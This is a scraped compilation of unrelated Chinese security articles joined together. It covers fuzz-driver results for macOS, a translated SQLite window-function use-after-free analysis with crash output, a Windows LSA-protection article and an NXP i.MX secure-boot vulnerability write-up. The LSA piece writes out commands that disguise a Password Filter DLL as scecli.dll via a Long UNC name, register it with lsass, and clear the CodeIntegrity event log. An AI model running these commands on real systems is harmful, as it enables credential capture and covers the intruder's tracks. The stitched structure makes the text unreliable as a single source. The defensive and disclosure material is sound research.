我们一共对5个攻击面进行了漏洞挖掘，包含了Image，Font，PDF，Audio，RTF，这里用Image这个攻击面来看看我们算法的实验效果，其他攻击面实验效果可查阅论文。
1. 图14左图是经过多目标遗传算法生成的fuzz driver跟人工写的fuzz driver在fuzzing过程中覆盖率比对。紫色的线是APICraft生成的fuzz driver，浅色线是Google Project Zero的安全研究员手写的fuzz driver，这个fuzz driver是研究员在对攻击面熟悉，并且通过逆向构建出来的fuzz driver。实验来看， 通过APICraft产生的fuzz driver在fuzzing过程中的覆盖率仍比P0顶尖安全研究员手写的fuzz driver实验效果卓越；
2. 图14右图是三个目标（Diversity、Effectiveness、Compactness）都结合起来生成的fuzz driver跟去掉每一个单一目标而生成的fuzz driver比对，比如绿色这条线是去掉多样性（Diversity）的覆盖率，去掉每个单一目标的实验效果没有三个目标都结合起来生成的fuzz driver在fuzzing过程中的实验效果好。
图 14：图片攻击面的多目标优化遗传算法实验效果
### 5.2 漏洞挖掘产出
基于APICraft生成的fuzz driver，我们进行了长达8个月的fuzzing。最终在macOS系统库5个攻击面上发现了 **142**
处漏洞，收到Apple **54** 个官方漏洞致谢（该数据统计截止5到论?投稿时，2021年2月）。
图15节选了一些漏洞，每一列分别是攻击面（Attack Surface），获取到的CVE号或者 Issue-ID，macOS的复现版本，漏洞类型，已经能在哪些 APP上上复现这些bug。
图 15：漏洞挖掘产出
## 06 总结
**APICraft基于function
interposition技术实现了轻量级的GUI应用程序动态行为收集框架，以及基于NSGA—II多目标优化遗传算法实现的fuzz
driver自动化生成框架** 。基于APICraft框架生成的fuzz driver在fuzzing过程中帮助我们挖掘到了macOS系统库 **142**
处漏洞，共收获Apple **54** 个官方漏洞致谢。
APICraft项目主页链接为：https://sites.google.com/view/0xlib-harness 我们将在Usenix
Security 2021会议完成之后开源代码。
* * * | 社区文章 |
## 概述
研究人员发现在Sqlite3
3.26.0的Windows函数功能中存在UAF漏洞。通过特殊伪造的SQL命令可以产生该UAF漏洞，导致远程代码执行。攻击者可以发送恶意SQL命令来触发该漏洞。
## 漏洞详情
SQLite是实现SQL数据库引擎的常用库函数，被广泛应用于移动设备、浏览器、硬件设备、用户应用中。也是小型、快速、可靠数据库解决方案的常用选择。
SQLite实现了SQL的`Window
Functions`特征，允许对行的子集（`Subset、window`）进行查询。通过分析含有Window函数的`SELECT`语句，`SELECT`语句就会使用`sqlite3WindowRewrite`函数进行转化。
src/select.c:5643
sqlite3SelectPrep(pParse, p, 0);
...
#ifndef SQLITE_OMIT_WINDOWFUNC
if( sqlite3WindowRewrite(pParse, p) ){
goto select_end;
}
在该函数中，如果使用了聚合函数（`COUNT, MAX, MIN, AVG, SUM`），SELECT对象的表达式列表就会被重写。
src/window.c:747
int sqlite3WindowRewrite(Parse *pParse, Select *p){
int rc = SQLITE_OK;
if( p->pWin && p->pPrior==0 ){
...
Window *pMWin = p->pWin; /* Master window object */
Window *pWin; /* Window object iterator */
...
selectWindowRewriteEList(pParse, pMWin /* window */, pSrc, p->pEList, &pSublist); [0]
selectWindowRewriteEList(pParse, pMWin /* window */, pSrc, p->pOrderBy, &pSublist);
...
pSublist = exprListAppendList(pParse, pSublist, pMWin->pPartition);
Master Window对象 `pMWin`是从SELECT对象中取出的，在重写过程中也用到了。这一过程是为了使其处理window函数进行容易。
src/window.c:692
static void selectWindowRewriteEList(
Parse *pParse,
Window *pWin,
SrcList *pSrc,
ExprList *pEList,
ExprList **ppSub
){
Walker sWalker;
WindowRewrite sRewrite;
memset(&sWalker, 0, sizeof(Walker));
memset(&sRewrite, 0, sizeof(WindowRewrite));
sRewrite.pSub = *ppSub;
sRewrite.pWin = pWin; // [1]
sRewrite.pSrc = pSrc;
sWalker.pParse = pParse;
sWalker.xExprCallback = selectWindowRewriteExprCb;
sWalker.xSelectCallback = selectWindowRewriteSelectCb;
sWalker.u.pRewrite = &sRewrite;
(void)sqlite3WalkExprList(&sWalker, pEList);
*ppSub = sRewrite.pSub;
}
```sql
Master window对象是在WindowRewrite对象中使用的。在处理每个表达式过程中，xExprCallback函数会用作处理的回调函数。在处理聚合函数（TKAGGFUNCTION）和添加到表达式列表中后，表达式就会被删除。
```sql
src/window.c:602
static int selectWindowRewriteExprCb(Walker *pWalker, Expr *pExpr){
struct WindowRewrite *p = pWalker->u.pRewrite;
Parse *pParse = pWalker->pParse;
...
switch( pExpr->op ){
...
/* Fall through. */
case TK_AGG_FUNCTION:
case TK_COLUMN: {
Expr *pDup = sqlite3ExprDup(pParse->db, pExpr, 0);
p->pSub = sqlite3ExprListAppend(pParse, p->pSub, pDup);
if( p->pSub ){
assert( ExprHasProperty(pExpr, EP_Static)==0 );
ExprSetProperty(pExpr, EP_Static);
sqlite3ExprDelete(pParse->db, pExpr); [2]
ExprClearProperty(pExpr, EP_Static);
memset(pExpr, 0, sizeof(Expr));
pExpr->op = TK_COLUMN;
pExpr->iColumn = p->pSub->nExpr-1;
pExpr->iTable = p->pWin->iEphCsr;
}
...
}
在表达式删除期间，如果表达式被标记为`window function`，相关的window对象也会被删除。
src/window.c:1051
static SQLITE_NOINLINE void sqlite3ExprDeleteNN(sqlite3 *db, Expr *p){
...
if( !ExprHasProperty(p, (EP_TokenOnly|EP_Leaf)) ){
...
if( ExprHasProperty(p, EP_WinFunc) ){
assert( p->op==TK_FUNCTION );
sqlite3WindowDelete(db, p->y.pWin);
}
}
在 Window删除期间，与Window相关的部分都被删除了。
src/window.c:851
void sqlite3WindowDelete(sqlite3 *db, Window *p){
if( p ){
sqlite3ExprDelete(db, p->pFilter);
sqlite3ExprListDelete(db, p->pPartition);
sqlite3ExprListDelete(db, p->pOrderBy);
sqlite3ExprDelete(db, p->pEnd);
sqlite3ExprDelete(db, p->pStart);
sqlite3DbFree(db, p->zName);
sqlite3DbFree(db, p);
}
}
可以看一下原始的`sqlite3WindowRewrite`函数，删除的部分在表达式列表被重写后重用了。
src/window.c:785
selectWindowRewriteEList(pParse, pMWin, pSrc, p->pEList, &pSublist); [4]
selectWindowRewriteEList(pParse, pMWin, pSrc, p->pOrderBy, &pSublist);
pMWin->nBufferCol = (pSublist ? pSublist->nExpr : 0);
...
pSublist = exprListAppendList(pParse, pSublist, pMWin->pPartition); [5]
src/window.c:723
static ExprList *exprListAppendList(
Parse *pParse,
ExprList *pList,
ExprList *pAppend [5]
){
if( pAppend ){
int i;
int nInit = pList ? pList->nExpr : 0;
for(i=0; i<pAppend->nExpr; i++){
Expr *pDup = sqlite3ExprDup(pParse->db, pAppend->a[i].pExpr, 0);
pList = sqlite3ExprListAppend(pParse, pList, pDup);
if( pList ) pList->a[nInit+i].sortOrder = pAppend->a[i].sortOrder;
}
}
return pList;
}
这部分被删除后，会在`exprListAppendList`中被重用，导致UAF漏洞，最终引发DOS。如果攻击者可以控制释放后的内存，那么就可以破坏更多的数据，有可能导致代码执行。
## 奔溃信息
使用sqlite3
debug版本来破坏释放的缓存的内容可以证明该漏洞的存在。监控`0xfafafafafafafafa`附近的奔溃可以说明释放的缓存正在被再次访问。
src/malloc.c:341
void sqlite3DbFreeNN(sqlite3 *db, void *p){
assert( db==0 || sqlite3_mutex_held(db->mutex) );
assert( p!=0 );
if( db ){
...
if( isLookaside(db, p) ){
LookasideSlot *pBuf = (LookasideSlot*)p;
/* Trash all content in the buffer being freed */
memset(p, 0xfa, db->lookaside.sz); [5]
pBuf->pNext = db->lookaside.pFree;
db->lookaside.pFree = pBuf;
return;
}
```sql
通过gdb sqlite3运行POC:
```sql
[─────────────────────REGISTERS──────────────────────]
*RAX 0xfafafafafafafafa
RBX 0x0
*RCX 0x7fffffd0
RDX 0x0
*RDI 0x7fffffffc3a0 —▸ 0x7ffff79c7340 (funlockfile) ◂— mov rdx, qword ptr [rdi + 0x88]
RSI 0x0
R8 0x0
*R9 0x30
R10 0x0
*R11 0x246
*R12 0x401a20 (_start) ◂— xor ebp, ebp
*R13 0x7fffffffe000 ◂— 0x2
R14 0x0
R15 0x0
*RBP 0x7fffffffc900 —▸ 0x7fffffffc990 —▸ 0x7fffffffcc10 —▸ 0x7fffffffce90 ◂— ...
*RSP 0x7fffffffc8d0 —▸ 0x4db4f5 (selectWindowRewriteSelectCb) ◂— push rbp
*RIP 0x4db723 (exprListAppendList+240) ◂— mov eax, dword ptr [rax]
[───────────────────────DISASM───────────────────────]
► 0x4db723 <exprListAppendList+240> mov eax, dword ptr [rax]
0x4db725 <exprListAppendList+242> cmp eax, dword ptr [rbp - 0x10]
0x4db728 <exprListAppendList+245> jg exprListAppendList+94 <0x4db691>
↓
0x4db691 <exprListAppendList+94> mov rax, qword ptr [rbp - 0x28]
0x4db695 <exprListAppendList+98> mov edx, dword ptr [rbp - 0x10]
0x4db698 <exprListAppendList+101> movsxd rdx, edx
0x4db69b <exprListAppendList+104> shl rdx, 5
0x4db69f <exprListAppendList+108> add rax, rdx
0x4db6a2 <exprListAppendList+111> add rax, 8
0x4db6a6 <exprListAppendList+115> mov rcx, qword ptr [rax]
0x4db6a9 <exprListAppendList+118> mov rax, qword ptr [rbp - 0x18]
[───────────────────────SOURCE───────────────────────]
145380 ){
145381 if( pAppend ){
145382 int i;
145383 int nInit = pList ? pList->nExpr : 0;
145384 printf("pAppend: [%p] -> %p\n", &pAppend, pAppend);
145385 for(i=0; i<pAppend->nExpr; i++){ // BUG-USE 0
145386 Expr *pDup = sqlite3ExprDup(pParse->db, pAppend->a[i].pExpr, 0);
145387 pList = sqlite3ExprListAppend(pParse, pList, pDup);
145388 if( pList ) pList->a[nInit+i].sortOrder = pAppend->a[i].sortOrder;
145389 }
[───────────────────────STACK────────────────────────]
00:0000│ rsp 0x7fffffffc8d0 —▸ 0x4db4f5 (selectWindowRewriteSelectCb) ◂— push rbp
01:0008│ 0x7fffffffc8d8 ◂— 0xfafafafafafafafa
02:0010│ 0x7fffffffc8e0 —▸ 0x746d58 ◂— 0x1
03:0018│ 0x7fffffffc8e8 —▸ 0x7fffffffdb30 —▸ 0x73b348 —▸ 0x736c60 (aVfs.13750) ◂— ...
04:0020│ 0x7fffffffc8f0 ◂— 0x100000000
05:0028│ 0x7fffffffc8f8 ◂— 0xce1ae95b8dd44700
06:0030│ rbp 0x7fffffffc900 —▸ 0x7fffffffc990 —▸ 0x7fffffffcc10 —▸ 0x7fffffffce90 ◂— ...
07:0038│ 0x7fffffffc908 —▸ 0x4db994 (sqlite3WindowRewrite+608) ◂— mov qword ptr [rbp - 0x68], rax
[─────────────────────BACKTRACE──────────────────────]
► f 0 4db723 exprListAppendList+240
f 1 4db994 sqlite3WindowRewrite+608
### PoC利用
可以使用sqlite3 shell运行POC：
`./sqlite3 -init poc`
* * *
<https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0777> | 社区文章 |
## 0x00 前言
* * *
针对文章[《Password Filter
DLL在渗透测试中的应用》](https://3gstudent.github.io/3gstudent.github.io/Password-Filter-DLL%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/)中wyzzoo的回复,提醒注意高版本系统上考虑的问题,地址如下:
<https://github.com/3gstudent/feedback/issues/13#issuecomment-371694931>
于是我对这部分内容进行研究,整理成文
## 0x01 简介
* * *
本文将要介绍以下内容:
* 如何配置额外的LSA保护
* 如何获得监控结果
* 补充一个Password Filter DLL的利用思路
* 利用Additional LSA Protection的检测效果
## 0x02 配置额外的LSA保护
* * *
参考官方文档:
<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection>
Windows8.1系统开始,为LSA提供了额外的保护,以防止由未受保护的进程读取内存和代码注入
### 保护方法:
要求加载到LSA的任何插件都使用Microsoft签名进行数字签名
具体的说,数字签名指的是catalog签名，签名需要满足WHQL认证
参考资料：
<https://docs.microsoft.com/zh-cn/windows-hardware/drivers/install/whql-release-signature>
关于catalog签名有过文章介绍:[《CAT文件数字签名使用技巧》](https://3gstudent.github.io/3gstudent.github.io/CAT%E6%96%87%E4%BB%B6%E6%95%B0%E5%AD%97%E7%AD%BE%E5%90%8D%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7/)
测试系统： Win8.1 x64
### 配置方法:
#### 1、操作系统需要满足条件:
Win8.1或者更新的系统
#### 2、修改注册表
注册表位置`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\LSASS.exe`，新建DWORD项`AuditLevel`，值为`00000008`
对应cmd命令如下：
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe" /v "AuditLevel" /t REG_DWORD /d "00000008" /f
#### 3、重启系统
## 0x03 获得监控结果
* * *
查看日志Event 3065和Event 3066
Event
3065：此事件记录代码完整性检查确定进程（通常是lsass.exe）试图加载不符合共享段的安全要求的特定驱动程序。但是，由于设置了系统策略，图像被允许加载。
Event
3066：此事件记录代码完整性检查确定进程（通常是lsass.exe）试图加载不符合Microsoft签名级别要求的特定驱动程序。但是，由于设置了系统策略，图像被允许加载。
位置：`Applications and Services Logs\Microsoft\Windows\CodeIntegrity`
能够记录不符合条件的dll，但并未阻止加载dll，如下图
通过命令行查询日志Event 3065和Event 3066：
获取日志分类列表：
wevtutil el >1.txt
找到`CodeIntegrity`对应的为`Microsoft-Windows-CodeIntegrity/Operational`
查找Event 3065和Event 3066：
wevtutil qe Microsoft-Windows-CodeIntegrity/Operational /rd:true /f:text /q:"*[system/eventid=3065 and 3066]"
如下图
**补充：**
删除日志CodeIntegrity：
wevtutil cl "Microsoft-Windows-CodeIntegrity/Operational"
## 0x04 补充思路
一个Password Filter DLL的利用思路——利用Long UNC文件名欺骗实现DLL的“隐藏”
具体隐藏细节可参考文章[《Catalog签名伪造——Long
UNC文件名欺骗》](https://3gstudent.github.io/3gstudent.github.io/Catalog%E7%AD%BE%E5%90%8D%E4%BC%AA%E9%80%A0-Long-UNC%E6%96%87%E4%BB%B6%E5%90%8D%E6%AC%BA%E9%AA%97/)
### 1、将dll命名为Long UNC文件名格式，保存在`%windir%\system32\`下
lsass.exe进程默认加载scecli.dll，所以选择将dll伪装成scecli.dll
命令行：
type Win32Project3.dll > "\\?\C:\windows\system32\scecli.dll "
**注：**
scecli.dll名称后面有一个空格
### 2、获得该dll的短文件名
命令行：
dir /x scecli*.dll
获得短文件名`SCECLI~1.DLL`，如下图
### 3、修改注册表键值
读取键值：
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages"
添加dll：
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0SCECLI~1.DLL" /f
### 4、重启
使用Process Explorer查看lsass进程加载的dll
显示加载两个同样的scecli.dll，具体属性存在差别，如下图
### 5、检测
Event 3066成功检测，如下图
## 0x05 补充
* * *
1、为Password Filter DLL添加一个伪造的微软Authenticode签名，并且修改证书验证机制使其生效，仍无法绕过Additional
LSA Protection的监控，因为Password Filter DLL需要合法的catalog签名，而不是Authenticode签名
2、自己为Password Filter DLL制作一个catalog签名并将其添加到系统的安全编录数据库中，仍无法绕过Additional LSA
Protection的监控
## 0x06 小结
* * *
本文介绍了配置Additional LSA Protection监控Password Filter DLL的方法和检测效果，如果Password
Filter DLL未获得合法的catalog签名，系统能绕成功检测，但默认不会阻止加载 | 社区文章 |
# 【漏洞分析】对恩智浦i.MX微处理器HAB漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
恩智浦（NXP）半导体公司生产的[i.MX](http://www.nxp.com/products/microcontrollers-and-processors/arm-processors/i.mx-applications-processors:IMX_HOME)系列应用处理器的安全启动特性中存在两个漏洞，这两个漏洞由Quarkslab的两名研究人员Guillaume
Delugré和Kévin Szkudłapski发现，本文对这两个漏洞的技术细节做了具体分析。
攻击者可以利用这两个漏洞破坏安全启动过程，从而绕过代码签名认证，实现在启用了HAB（High Assurance
Boot）特性的i.MX应用处理器上加载并运行任意代码。有12款i.MX系列处理器受这些漏洞影响。
研究人员于2016年9月发现这些漏洞并将漏洞报告给厂商，在2017年5月19日的举办[高通移动安全峰会](https://qct-qualcomm.secure.force.com/QCTConference/GenericSitePage?eventname=2017Security&page=Summit%20Information)上，Quarkslab与NXP联合[公布](http://www.nxp.com/support/support/documentation:DOCUMENTATION)了本文介绍的技术细节。2017年3月，我们向4个国家的计算机应急小组（CERTs）通报了相关漏洞信息。
NXP公布了一份工程简报以及两份勘误文件（分别为EB00854、ERR010872以及ERR0108873），对这两个漏洞做了简要的介绍，同时也介绍了受影响的处理器型号清单、相应的解决方案以及可能的缓解措施。
在下文中，我们会向大家介绍i.MX处理器的相关特性以及影响这些特性的具体漏洞细节。
**二、背景介绍**
****
NXP半导体公司生产的i.MX系列处理器是基于ARM的应用处理器，广泛应用于汽车、工业以及电子消费市场中的SoC（System on a
Chip）系统。微控制器最早由飞思卡尔（Freescale）半导体公司研发，该公司在2015年被NXP收购，给NXP带来各种面向安全的特性，包括安全及加密启动特性、篡改检测特性、为各种加密算法设计的硬件加速特性、片上及片外安全存储特性、实时安全时钟特性以及基于硬件的随机数生成器特性。
在产品中使用i.MX处理器的厂商需要自己启动这些特性，某些情况下，处理器被设置为锁定状态，此时这些安全特性无法被禁用。
如果读者感兴趣的话，可以使用几种开发板来体验i.MX处理器的安全特性。我们使用基于i.MX6的SabreLite开发板发现了这些漏洞，开发板如下所示：
**2.1 何为安全启动**
当处于关机状态的系统被启动后，设备会通过安全启动（secure
boot）过程将系统引导到一个已知的健康状态。安全启动过程通常会涉及许多原生代码的执行过程，这些原生代码被封装到多个二进制文件中，设备会加载这些二进制文件，验证文件的可靠性，保证文件未被篡改，然后按顺序运行这些文件，最终将系统引导至厂商或者用户预期的状态。通常情况下，设备会使用具有合法数字签名的二进制程序来完成这一任务，在执行过程中，设备会检查下一个运行的二进制程序的完整性以及真实性，如果验证通过，就会将控制权交给下一个二进制程序。
如果设备在已知健康状态下被启动，并且引导过程中执行的一系列程序都已通过有效签名认证，那么当最后一个程序执行后，设备会认为此时自身处于健康并且受信的状态中。然而，如果在安全启动执行链中，某一个程序无法验证下一个程序的有效性，那么最终得到的系统状态将不再被信任。
通常情况下，这条信任链的源头由核心加密密钥（签名及加密密钥）以及存储在片上只读内存（on-chip read only
memory）中的原始可信固件（bootrom）这两类因素共同决定。
启用了安全启动特性的系统会以某种方式锁住这条信任链，使实际接触到设备的最终用户、下游厂商、集成商或者攻击者无法通过禁用安全启动特性来篡改设备安全性。这项特性通常用于数字版权管理（DRM）和知识产权保护中，也可以用来防止恶意代码或其他未授权软件在设备上运行。
**2.2 High Assurance Boot（HAB）**
HAB（High Assurance
Boot）是NXP在i.MX处理器中实现的安全启动特性。这项特性内置于片上ROM中，负责加载初始程序镜像（通常为启动介质中第一阶段的bootloader）。
HAB使用公开密钥加密算法（具体来说是RSA算法）来对启动时执行的镜像进行验证。镜像厂商已经在离线状态下使用私钥对镜像数据进行签名，i.MX处理器会从该镜像的某个部位中提取签名信息，然后使用相应的公钥信息对签名进行验证。
这条信任链的根节点依赖于一组RSA密钥对，这组密钥对名为SRKs（Super Root
Keys，超级根密钥），用于防止设备加载并使用由潜在攻击者提供的任意公钥来运行恶意镜像，恶意镜像使用了攻击者自己的私钥进行签名。此外，它也能优化紧缺的一次性可编程硬件资源。合法的私钥由证书颁发机构（CA）签发，用来对镜像进行签名，对应的公钥哈希表存储在一次性可编程硬件中。对于支持安全启动特性的i.MX处理器而言，这是一种隐藏的ROM以及电子可编程保险丝（electrically
programmable fuses，eFuses）。
在启动时，HAB bootrom会从CSF（Command Sequence File）中加载SRK表，计算哈希值，将计算结果与存储在SRK
fues中的值进行对比。如果哈希值匹配，那么安全启动过程就会继续检查镜像是否经过正确的私钥签名。启动过程失败或者出现任何错误，处理器就会进入恢复（recovery）模式，在这个模式下，设备可以使用串行下载协议（Serial
Download Protocol，SDP）通过UART或者USB端口安全加载启动镜像。
供应商使用代码签名工具（Code Signing
Tools，CST）以X.509证书形式提供公钥。HAB特性以API形式与启动镜像代码对接，CSF中的命令可以调用这些API。CSF中包含HAB在安全启动过程中执行的有所命令，也包含SRK表以及证书及签名，以验证待加载运行的那些镜像。
上图为HAB信任链，NXP在“使用HABv4的i.MX50、i.MX53及i.MX
6系列处理器中的安全启动”[文档](http://www.nxp.com/docs/en/application-note/AN4581.pdf)中（AN4581）详细介绍了整个过程。
**2.3 串行下载协议（SDP）** ****
bootrom支持一种名为串行下载协议（Serial Download
Protocol，SDP）的恢复模式，在这种模式下，设备可以通过USB或者UART端口加载启动镜像。
为了实现这一功能，bootrom在HID的基础上实现了带有一些简单命令的小型USB协议：
1、从内存中读取1个单字（READ REGISTER）
2、往内存中写入1个单字（WRITE REGISTER）
3、将启动镜像写入内存（WRITE FILE）
4、写入并执行一组DCD命令（DCD WRITE）
5、执行内存中已加载的启动镜像（JUMP ADDRESS）
当设备被锁定在安全模式下时，会有一系列检查过程，以保证bootrom免受未经允许的内存访问以及未经签名的代码执行，这些检查过程包括：
1、使用白名单方式检查检查访问的内存是否位于许可的范围内。
2、以同一个白名单检查访问的DCD内存范围是否位于许可的范围内。
3、JUMP ADDRESS在执行启动镜像前会先检查启动镜像签名。
**三、漏洞分析**
****
我们对编译好的一个bootrom进行分析然后发现了这些漏洞。
我们对代码的功能进行了理解，在这个基础上修改了代码中函数的名称，这些名称可能与源代码中真实的函数名不一致。
用来描述函数位置的地址与bootrom镜像有关，这个镜像的MD5值为945cfc9f525a378102dd24b5eb1b41cf。
我们的实验设备是一个处于锁定状态下的Sabrelite开发板，我们通过一个功能型利用代码，绕过了开发板的HAB安全启动过程，从而证实了漏洞的有效性。
InversePath生产的[USB
Armory](https://inversepath.com/usbarmory)也受这些漏洞影响，该厂商研发了相应的PoC程序来演示这些漏洞。
**3.1 X.509证书解析中的栈缓冲区溢出漏洞（CVE-2017-7932）**
bootrom的X.509证书解析器中存在一个栈缓冲区溢出漏洞，当解析器加载攻击者构造的一个证书时就会触发这个漏洞。
安全启动中的控制流遵循如下步骤：
1、从存储设备中或者在恢复模式下通过USB接口获取中断向量表（Interrupt Vector Table，IVT）。
2、执行DCD命令。
3、执行CSF命令，这些命令负责安全启动的完整性。当设备处于信任模式下时，这一阶段所执行的CSF命令通常如下：
（1）安装SRK类型的RSA公钥，其SHA256哈希必须与SRK fuses中已写入的哈希值完全一致。
（2）使用经SRK签名的X.509证书安装CSFK公钥。
（3）使用CSFK认证CSF。
（4）安装公钥以验证启动镜像。
（5）使用之前安装的密钥验证启动镜像。
4、执行下一阶段的bootloader。
设备使用INSTALL_KEY这个CSF命令完成密钥安装过程。设备会加载并验证不同的密钥，每个密钥的验证由上一个已安装的密钥来完成（信任链的根节点为SRK
fuses）。
当设备安装一个X.509类型的公钥时，hab_csf_cmd_install_key函数（其地址位于0xB5C0处）会找到负责导入X.509证书的插件，然后以下述方式调用：
mod_x509->load_key (x509_parse_certificate)
mod_x509->verify_key (x509_verify_certificate_signature)
因此，设备在验证证书签名之前就已经解析了整个证书。由于INSTALL_KEY命令可以先于任何验证命令执行，因此，攻击者无需篡改启动镜像或者将设备切换到恢复模式，就可以触发X.509解析器中存在的漏洞。
HAB bootrom使用了自定义的ASN.1以及X.509解析库，当解析X.509证书中的扩展属性时，HAB错误调用了某个ASN.1库函数，导致漏洞存在。
asn1_extract_bit_string函数（位于0xE796处）使用了内部函数asn1_deep_copy_element_data（位于0xEF20处）来拷贝一个位串（bit
string）对象的内容。
HAB会递归调用这种方法，将ASN.1对象的内容复制到以参数形式传递进来的一个输出缓冲区中。这个函数的一个特殊之处在于，它没有使用任何一个输入参数来保存输出缓冲区的值。相反，当调用者将NULL指针作为输出缓冲区传递给该函数时，函数就会返回所需的缓冲区大小，这一点与Windows
API非常类似。
在使用asn1_extract_bit_string函数时，首先我们得先传入一个NULL参数，获得所需的缓冲区大小，再使用malloc分配所需的内存，然后使用新分配的缓冲区再次调用这个函数。
X.509规范将keyUsage扩展描述为一个位串对象，包含如下9个位：
KeyUsage ::= BIT STRING {
digitalSignature (0),
nonRepudiation (1),
keyEncipherment (2),
dataEncipherment (3),
keyAgreement (4),
keyCertSign (5),
cRLSign (6),
encipherOnly (7),
decipherOnly (8) }
当设备解析证书扩展属性时，如果证书中包含keyUsage字段，那么设备就会将一个指针指向栈上的一个32位整数，将其作为输出缓冲区，然后直接调用asn1_extract_bit_string函数。
然后keyUsage扩展属性中的一个大于4字节的位串对象就会导致栈缓冲区溢出。
当asn1_extract_bit_string函数返回时，bootrom代码发现返回的大小值没有大于4字节，但此时复制操作已经完成。之后调用函数返回，将其返回地址从栈中弹出，这样攻击者就可以重定向PC寄存器，执行任意代码。
攻击者可以控制写入栈中的数据的大小及内容（即证书所包含的位串的大小及内容）。
负责解析X.509证书扩展属性的存在漏洞的代码如下图所示：
**3.2 SDP恢复模式中的缓冲区溢出漏洞（CVE-2017-7936）**
WRITE FILE命令处理程序中的内存检查过程存在漏洞，攻击者可以利用该漏洞实现任意代码执行。
对于USB报文，串行下载协议（SDP）使用了如下几个字段：
1、type（命令类型）
2、address（读取或写入的内存地址）
3、format（用于READ REGISTER以及WRITE REGISTER，其大小以比特表示）
4、data_count（用于WRITE FILE以及DCD WRITE，其大小以字节表示）
5、data（WRITE REGISTER所使用的数据）
在信任模式下，当处理DCD WRITE以及WRITE
FILE命令时，hab_check_target函数（位于0x753C处）会检查位于address以及address +
data_count之间的内存区域。
这个函数有3个参数：
1、内存的类型（0x0F表示内存，0Xf0表示硬件寄存器，0x55表示其他类型的内存）。
2、待检查的内存的基址。
3、内存区域的大小（以字节表示）。
根据待检查的内存的不同类型，函数会使用一份包含安全内存区域的白名单来检查该内存区域。
然而，这个函数并没有被正确调用，原因在于内存大小参数（来自于data_count字段）会被除以8，设备认为这是一个以比特来表示的大小值，而实际上data_count字段是以字节来表示的，这样一来，该函数只会检查目标内存中的一小部分区域。
之所以存在这个问题，原因可能是设备在处理这些命令时，逻辑上与处理READ/WRITE
REGISTER命令时混淆了，后者所使用的format字段恰好是用比特来表示的。
因此，bootrom会检查[ address : address + data_count / 8 ]这个范围的内存是否正确，而实际上数据被复制到[
address, address + data_count ]这个范围的内存中。
当主机通过USB发送数据时，这个错误就会导致缓冲区溢出。
存在漏洞的代码片段如下所示：
**
**
**四、时间线**
****
2016年9月1日：向NXP报告漏洞。
2016年9月2日：NXP表示已收到漏洞报告。
2016年9月8日：NXP请求X.509漏洞的PoC代码。
2016年9月9日：将i.MX6 bootrom X.509的漏洞利用代码发送给NXP。
2016年9月16日：NXP请求SDP漏洞的PoC代码。
2016年9月16日：将i.MX6 USB恢复模式的漏洞利用代码发送给NXP。
2017年2月20日：向高通移动安全峰会2017提交Quarkslab的演讲摘要文档。
2017年3月11日：高通询问Quarkslab是否愿意与NXP一起联合演讲，我们给出了肯定的答复。
2017年3月21日：在QMSS2017演讲摘要文档中简要提及了i.MX处理器安全启动特性中存在的漏洞。
2017年3月22日：InversePath向Quarkslab通告部分漏洞信息。
2017年3月22日：发邮件给NXP PSIRT、CERT-FR（法国）、CERT-NL（荷兰）、CERT-Bund（德国）以及ICS-CERT（美国），通告漏洞情况及部分细节。
2017年3月23日：InversePath确认i.MX53中存在x.509漏洞，并公布了一份安全公告[草案](https://github.com/inversepath/usbarmory/blob/master/software/secure_boot/Security_Advisory-Ref_QBVR2017-0001.txt)。
2017年3月23日：QMSS 2017演讲摘要文档从网站上移除，进行细节上的修正。
2017年3月24日：InversePath撤销已发布的安全公告。
2017年3月23日：NXP向QMSS发送一份修正摘要文档，其中没有提及i.MX处理器。
2017年3月24日：QMSS 2017网站上公布了修正版的摘要文档。
2017年3月24日：Quarkslab向InversePath、CERTs以及NXP发送邮件，以协调后续的公告事宜。Quarkslab告知各方会在5月19日的QMSS演讲之后，将细节公布在博客中，但如果漏洞信息已公开，这个时间点有可能会提前。
2017年5月1日：ICS-CERT询问Quarkslab是否原因推迟60天发布公告，因为他们想通过国土安全信息网络发布NXP的安全公告，时间上希望协调一致。
2017年5月2日：Quarkslab认为，这些问题向上千个私人团体公告后再推迟60天向公众公告貌似没有任何好处。询问ICS-CERT推迟公告的具体目的。
2017年5月5日：ICS-CERT回复说NXP希望给客户更多的时间调整受影响的产品，同时漏洞的公布过程也会变得更加可控。
2017年5月10日：Quarkslab回复ICS-CERT，认为推迟60天公布对受影响的组织降低安全风险而言没有任何好处，计划于5月19日（QMSS
2017上发表联合演讲）后的1周内发布文章介绍漏洞细节。
2017年5月19日：Quarkslab与NXP在QMSS 2017发表联合演讲。
2017年5月19日：在QMSS
2017的面对面会议上，NXP要求Quarkslab推迟60天公布漏洞细节。NXP表示这是客户的请求，并告诉Quarkslab他们已经通告所有客户，通告中涉及所有受影响的i.MX产品。Quarkslab要求NXP提供通告文档以及他们通知客户的具体证据，以评估是否需要落实该请求。此外，Quarkslab要求NXP向其转发NXP客户延迟公告的请求。
2017年5月22日：NXP表示，他们于4月27日向客户发布了公告，于4月21日向Auto ISAC组织公布了一个安全公告，帮助ICS
CERT制作用于国土安全信息网络的安全公告。NXP提供了通知客户的截图以及本文中提到过的工程简报以及勘误文档。
2017年5月30日：收到所有文档后，Quarkslab同意本文推迟到2017年7月18日再发表，并向所有组织（CERTs、NXP以及InversePath）通报了这一决定。
2017年6月5日：InversePath重新发布了之前于3月23日发布过的初步安全公告。
